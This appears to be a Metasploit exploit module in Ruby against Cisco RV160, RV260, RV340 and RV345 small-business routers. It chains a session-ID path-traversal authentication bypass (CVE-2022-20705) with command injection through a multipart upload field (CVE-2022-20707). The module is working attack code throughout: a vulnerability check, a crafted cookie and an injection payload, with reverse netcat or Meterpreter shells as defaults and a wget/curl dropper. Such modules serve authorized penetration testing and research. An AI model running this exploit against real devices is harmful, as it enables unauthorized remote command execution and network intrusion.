## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco RV Series Authentication Bypass and Command Injection', 'Description' => %q{ This module exploits two vulnerabilities, a session ID directory traversal authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340, and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges. This access can then be used to pivot to other parts of the network. This module works on firmware versions 1.0.03.24 and below. }, 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Author' => [ 'Biem Pham', # Vulnerability Discoveries 'Neterum', # Metasploit Module 'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb ], 'DisclosureDate' => '2021-11-02', 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'References' => [ ['CVE', '2022-20705'], # Authentication Bypass ['CVE', '2022-20707'], # Command Injection ['ZDI', '22-410'], # Authentication Bypass ['ZDI', '22-411'] # Command Injection ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => '\'#' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'Payload' => { 'BadChars' => '\'#' }, 'CmdStagerFlavor' => [ 'wget', 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']) ] ) end # sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 def generate_session_id return Rex::Text.rand_text_alphanumeric(16) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/upload', 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id } }, 10) # A proper "upload" will trigger file creation. So the send_request_cgi call # above is an incorrect "upload" call to avoid creating a file on disk. The router will return # status code 405 Not Allowed if authentication has been bypassed by the above request. # The firmware containing this authentication bypass also contains the command injection # vulnerability that will be abused during actual exploitation. Non-vulnerable # firmware versions will respond with 403 Forbidden. if res.nil? return CheckCode::Unknown('The device did not respond to request packet.') elsif res.code == 405 return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.') elsif res.code == 403 return CheckCode::Safe('The device is not vulnerable to exploitation.') else # Catch-all return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.') end end def execute_command(cmd, _opts = {}) res = send_exploit(cmd) # Successful unix_cmd shells should not produce a response. # However if a response is returned, check the status code and return # Failure::NotVulnerable if it is 403 Forbidden. if target['Type'] == :unix_cmd && res&.code == 403 fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable') end if target['Type'] == :linux_dropper fail_with(Failure::Unreachable, 'The target did not respond') unless res fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200 begin body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!') end end print_good('Exploit successfully executed.') end def send_exploit(cmd) filename = Rex::Text.rand_text_alphanumeric(5..12) fileparam = Rex::Text.rand_text_alphanumeric(5..12) input = Rex::Text.rand_text_alphanumeric(5..12) # sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 sessionid = Rex::Text.rand_text_alphanumeric(16) filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues. pathparam = 'Configuration' destination = "'; " + cmd + ' #' multipart_form = Rex::MIME::Message.new multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"') multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"') multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"') multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"') multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"') multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%s"', filename: filename)) # Escaping "/tmp/upload/" folder that does not contain any other permanent files send_request_cgi({ 'method' => 'POST', 'uri' => '/upload', 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid }, 'data' => multipart_form.to_s }, 10) end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 120) end end end